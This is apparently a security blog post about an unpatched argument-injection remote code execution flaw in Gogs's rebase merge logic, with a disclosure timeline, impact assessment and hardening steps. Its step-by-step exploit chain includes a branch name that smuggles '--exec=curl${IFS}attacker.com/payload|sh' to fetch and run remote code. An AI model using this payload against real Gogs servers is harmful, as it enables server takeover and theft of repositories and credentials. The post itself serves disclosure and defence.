Critical Gogs RCE Vulnerability: Unpatched 0-Day Sitting Open for Over Two Months

The CyberSec Guru

Critical Gogs RCE Vulnerability: Unpatched 0-Day

If you like this post, then please share it:

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Why your support matters: Zero paywalls: Keep the main content 100% free for learners worldwide, Writeup Access: Get complete in-depth writeup with scripts access within 12 hours of machine drop.

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

There’s a live, unpatched remote code execution vulnerability in Gogs and it’s been sitting there, fully reported, for over two months with no fix.

The flaw was discovered by Rapid7 Labs researcher Jonah Burgess (CryptoCat) and scored a CVSSv4 9.4. That puts it firmly in critical territory, and the mechanics of it make the score feel generous rather than alarmist. Any authenticated user on a default Gogs installation can exploit this. No admin rights. No help from another user. No special configuration required. Just an account and a repository.

A Metasploit module is already public. Rapid7 first notified Gogs maintainers on March 17, 2026. As of May 28, no patch has shipped.

What’s Actually Broken

The root cause is a CWE-88 argument injection flaw buried in Gogs’ merge logic, specifically in the Merge() function inside internal/database/pull.go.

When a repository has “Rebase before merging” enabled and a user opens a pull request, Gogs takes the branch name and passes it directly to a git rebase command. The problem: it does this without using the POSIX -- separator to signal the end of options, and without sanitizing the input in any way.

In Git and in most Unix command-line tools, everything before -- gets parsed as a flag or option. Everything after it is treated as a positional argument (like a filename or branch name). The -- separator exists precisely to prevent a string like --exec=something from being misinterpreted as an option.

Gogs doesn’t use it. So if your branch name looks like --exec=touch${IFS}/tmp/rce_proof, Git doesn’t see a branch name. It sees an --exec flag.

git rebase --exec is a legitimate Git feature. It lets you run an arbitrary shell command after each replayed commit. That’s useful for things like running tests during an interactive rebase. In this context, it means the attacker’s command runs via sh -c for every commit in the rebase chain, with the permissions of whatever user the Gogs server process runs as which is typically git.

The full exploit chain looks roughly like this:

  1. Register an account on a Gogs instance (open registration is on by default).
  2. Create a repository (unlimited by default).
  3. Enable “Rebase before merging” in repo settings (one toggle).
  4. Create a branch named something like --exec=curl${IFS}attacker.com/payload|sh.
  5. Open a pull request against your own repo.
  6. Trigger the rebase merge.
  7. The Gogs server executes your payload.

No other user needs to touch anything. The attacker owns every step.

Gogs RCE (Source: Rapid7 Labs)

Why the Default Configuration Makes This Worse

Most Gogs deployments run with open user registration. This was probably fine when Gogs was a small self-hosted tool for a team of five. In 2026, plenty of organizations have deployed it as a shared Git service with hundreds or thousands of users including external contractors or open-source contributors and never revisited those defaults.

The default MAX_CREATION_LIMIT is also uncapped. Registered users can create as many repositories as they want. There’s no friction between “I just signed up” and “I now have a repo I fully control.”

These aren’t bugs on their own. But they collapse what might otherwise require multiple conditions into a single-step precondition: have an account. In any Gogs instance reachable from the internet with open registration, that means the effective precondition is: have internet access.

In environments where registration is closed, the bar rises slightly but not much. Any user with write access to a repository where rebase merging is enabled can still trigger the bug. An internal developer, a contractor, an intern whose permissions were never revoked. Write access is common.

The Injection in More Depth

It’s worth spending a moment on why this class of bug is so persistent and so dangerous.

Argument injection (CWE-88) is distinct from command injection (CWE-77). In classic command injection, an attacker appends shell metacharacters such as semicolons, pipes, backticks to break out of one command and start a new one. Defenses against that are well understood: escape shell metacharacters, use parameterized APIs, avoid system() or exec() with user input.

Argument injection is subtler. The attacker isn’t escaping the command instead they’re staying inside it. They’re supplying a string that looks like user data but gets parsed as a flag by the target binary. The shell never sees anything unusual. The command being run is exactly what the application intended. The problem is that the application handed a command-line interface a user-controlled string without bounding it with --.

This is particularly nasty because the fix isn’t “sanitize the input.” Sanitizing is fragile. The correct fix is structural: use -- to tell Git where options end and arguments begin. That’s what the separator exists for. A corrected call might look like:

git rebase -- <branch_name>

With -- in place, Git treats everything that follows as a non-option argument. The --exec flag never gets parsed. The branch name is just a branch name.

The fact that this escaped code review in Gogs is not particularly surprising as -- separators aren’t always obvious to developers who aren’t deeply familiar with how CLI option parsing works across different binaries. But it’s the kind of thing a security-focused code audit tends to catch, and its absence here reflects a broader gap.

Gogs Zero-Day RCE

What an Attacker Can Actually Do

Once code is executing as the git user, the immediate impact is total compromise of the Gogs instance. That includes:

Repository theft. Every repository on the server including private ones owned by other users and organizations is readable by the git user. An attacker can clone all of them silently.

Credential extraction. The Gogs database contains password hashes, session tokens, 2FA secrets, and API keys. Depending on how the database is configured, it may be directly accessible from the git user’s context.

SSH key access. Gogs typically manages SSH authorized keys for Git-over-SSH access. These are readable from the server and potentially usable for lateral movement.

Supply chain interference. With write access to the underlying repository storage, an attacker can modify commit history, inject malicious code into existing repositories, or add backdoored commits that bypass normal Git audit trails. This kind of modification wouldn’t necessarily show up in Gogs’ web UI activity logs, depending on how it’s done.

Pivoting. The git user’s network access may be broader than expected, especially in internal deployments. The compromised server can be used as a foothold into the broader network.

The cross-tenant dimension deserves emphasis. Unlike a vulnerability that only affects the attacker’s own data, this one affects every organization and user hosted on the same instance. A single malicious actor on a shared Gogs server or a shared internal deployment can reach all of it.

Exposure and Attack Surface

Shodan shows roughly 1,141 internet-facing Gogs instances. That’s just the ones with a public fingerprint and no firewall in the way. The actual number of vulnerable installations is likely much larger – corporate Gogs deployments behind VPNs, developer environments accessible only on internal networks, air-gapped lab setups that aren’t counted in any public scan but are still running vulnerable software.

The existence of a public Metasploit module changes the threat calculus significantly. Exploiting this no longer requires a researcher who understands the bug. It requires someone who knows how to run Metasploit, which is a much lower bar.

The Patch Timeline

Rapid7 reported this to the Gogs maintainers on March 17, 2026, following responsible disclosure practices. Over the following weeks, they made multiple follow-up attempts. As of May 28, 2026, 72 days later, no fix has been released.

Both Gogs 0.14.2 and the development build 0.15.0+dev are confirmed vulnerable.

This is a notably long window for an unpatched critical RCE. Rapid7’s standard coordinated disclosure practice allows 90 days before going public, a timeline borrowed from Google Project Zero’s model, intended to give vendors reasonable time to patch while limiting the window of exposure for users. Rapid7 appears to have followed through on disclosure after that window, which is why the details are now public.

The Gogs project is open-source and maintained largely by volunteers. That context matters. Maintainer capacity is real but it doesn’t change the risk for administrators running the software. The vulnerability is public, a Metasploit module is available, and there is no patch.

A Note on Gitea

Gitea started as a fork of Gogs in 2016. The two projects have diverged substantially since then, and the Gogs-specific code path in pull.go where this flaw lives has been rewritten in Gitea. As of this writing, the vulnerability is not confirmed in Gitea.

That said, “not confirmed” is not the same as “not present.” If you run Gitea, it’s worth checking how your installation handles branch names passed to rebase operations, and whether the -- separator is used correctly. Don’t assume you’re covered just because the projects share a lineage.

What to Do Right Now

There is no patch to apply. Until one exists, the only options are configuration hardening and monitoring.

Disable open registration. In your app.ini:

ini

[service]
DISABLE_REGISTRATION = true

This removes the ability for unauthenticated attackers to create accounts. It doesn’t help against existing users, but it removes the easiest path.

Cap repository creation. Still in app.ini:

ini

[repository]
MAX_CREATION_LIMIT = 0

Setting this to zero prevents existing users from creating new repositories, which blocks the trivial self-owned-repo attack path. Users with access to existing repositories where rebase merging is already enabled are still a concern.

Audit rebase merge settings across all repos. Go through your active repositories especially any with external contributors or broad write access and disable the “Rebase before merging” option. This is tedious at scale but it’s the most direct mitigation short of a patch.

Search your logs. Look for ERROR-level entries in Gogs logs that include patterns like git checkout '--exec=. If you see those, treat it as an active incident.

Consider taking the instance offline if it’s internet-facing and you can’t immediately apply the above mitigations. The Metasploit module lowers the exploitation bar to the point where exposure to untrusted networks carries real risk.

Frequently Asked Questions

Does exploiting this require admin rights? No. In a default Gogs configuration, any registered user can walk through the entire exploit chain without any interaction from an administrator or another user.

Will updating Git itself fix this? No. The bug is in Gogs’ application code, not in Git. Gogs is constructing a command line incorrectly. Updating the Git binary that Gogs calls doesn’t change how Gogs builds that command line.

Is Gitea affected? Not confirmed. The two codebases have diverged significantly since Gitea forked from Gogs. Gitea users should verify their own rebase handling, but there’s no evidence of this specific flaw in Gitea at this time.

How do I know if my instance has been compromised? Check logs for the patterns above. Also audit recently pushed commits across repositories you weren’t expecting activity in, and review Gogs database access logs if you have them. Given that exploitation can be silent and the attacker may have read access without leaving obvious write-side traces, absence of evidence isn’t strong reassurance.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading